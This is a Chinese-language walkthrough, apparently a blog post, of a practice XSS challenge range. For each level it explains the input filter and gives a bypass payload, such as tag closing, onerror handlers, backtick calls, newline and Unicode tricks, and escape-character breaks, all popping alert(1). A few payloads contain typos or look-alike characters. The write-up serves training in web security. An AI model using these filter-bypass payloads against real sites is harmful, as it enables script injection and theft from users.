平台
0X00
源码无防护,直接常规payload绕过
<script>alert(1)</script>
<svgonlad=alert(1)>
0x01
可以看到注入点是在<textarea></textarea>标签中,想要成功注入的话,就需要我们主动去构造标签,通过闭合<textarea></textarea>,即可注入成功。
</textarea><script>alert(1)</script>'
00x02
"><script>alert(1)</script>
0x03
我们通过本关服务端源码,我们可以发现圆括号、方括号都被过滤了,是我们可以用反单引号来代替。
<script>alert`1`</script>
0x04
这一关通过查看源代码可以发现圆括号、正括号和引号都被过滤,但是我们可以使用html编码来绕过。
<svg><script>alert(1)</script>
0X05
注入点出于注释符之间,而注释符的后半部分被替换为一个笑脸,而防止了注释被闭合。我们需要知道两种注释方式,分别为:
1.<!-- 注释内容 -->
2.<! -- 注释内容 --!>
所以我们采用第二种方式过关。
--!><script>alert(1)</script>
0X06
查看网页源代码发现使用了正则表达式来过滤,分析regex 表达式/auto|on.*=|>/ig,它匹配了auto、及以on开头的且以=结尾的字符串,所以过滤了autofocus和onerror等时间,以及防止input标签被闭合,但是它并没有匹配换行符,可以通过使用换行来绕过匹配。
1 type="image" src="" onerror 2 3 =alert(1)
0X07
<img src="" οnerrοr="alert(1)"
0X08
换行绕过正则
</style
>
<script>alert(1)</script>
0X09
let语句声明一个块级作用域的本地变量,并且可选的将其初始化为一个值。
test() 方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配,返回true或false。正则表达式白名单式地匹配了固定地址,并闭合前面的标签。
https://www.segmentfault.com/"></script><img src=""
οnerrοr=alert(1)<"
0x0A
可以看出过滤了& ` " < > \ ,之后再正则白名单匹配。通过html转义,把能注入的关键字都过滤掉,可以直接引用指定网站下的目录文件来达到xss注入的目的。
比如:在靶场的目录下有个j.js文件,里面有alert(1);代码,直接调用即可(此方法目前已经失效):
这关没过去,有知道的同志麻烦评论告知一下!多谢
0x0B
html字符 ,js进行hex编码绕过
可以看出服务器端,将所有字母转换为大写
HTML中对大小写不敏感,JS中对大小写不敏感。
这样可以对JS代码进行hex编码处理,而html部分不变
编码结果类型是html ectities。
比如:
a->a
l->l
<img src="" οnerrοr=alert(1)>
域名对大小写也不敏感,所以可以用上一题的方法,调用靶机上自带的j.js代码,完成,xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0X0C
该题将/script/替换为空之后,再转为大写。可以按照上题的解法
<img src="" οnerrοr=alert(1)>
0X0D
回车绕过,JS注释符 -->
该题把斜杠, 单、双引号都过滤了; 回车可以破坏注释结构,js的注释符-->
可以注释掉后面的内容。
0X0E
找一个大写是s的拉丁字符,编码绕过大写
这题会把标签内的内容替换,字母都变大写,前面添加一个_。
这几乎过滤了所有的标签,包括<script>
逆向思维,找到一个字符的大写是s的
<ſcript src="" οnerrοr=alert(1)></script>
0X0F
注释符绕过
该题目对字符进行了html实体编码处理,但是,它忽略了一点,由于编码后处于html标签中,所以当解析代码时。被过滤编码的字符仍然会被还原来执行。所以可以说,被过滤的字符可以用。注入使其闭合,在注释掉后面的内容即可:
');alert(1); //
0X10
提供任意值
没有过滤,随意给window.date一个值,比如空值' ',再注入:
' ' ;alert(1);
0X11
注释符绕过
看到有一些字符被转义了, 包括换行符\n
等也被转义了
虽然被转义成了\/\/
, 但转义之后还是//
, 在js中还是注释符 (勿与正则弄混)
");alert(1);//
"); alert("1
0X12
转义符绕过
该题将双引号替换。无法闭合。 但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:
\");alert(1);//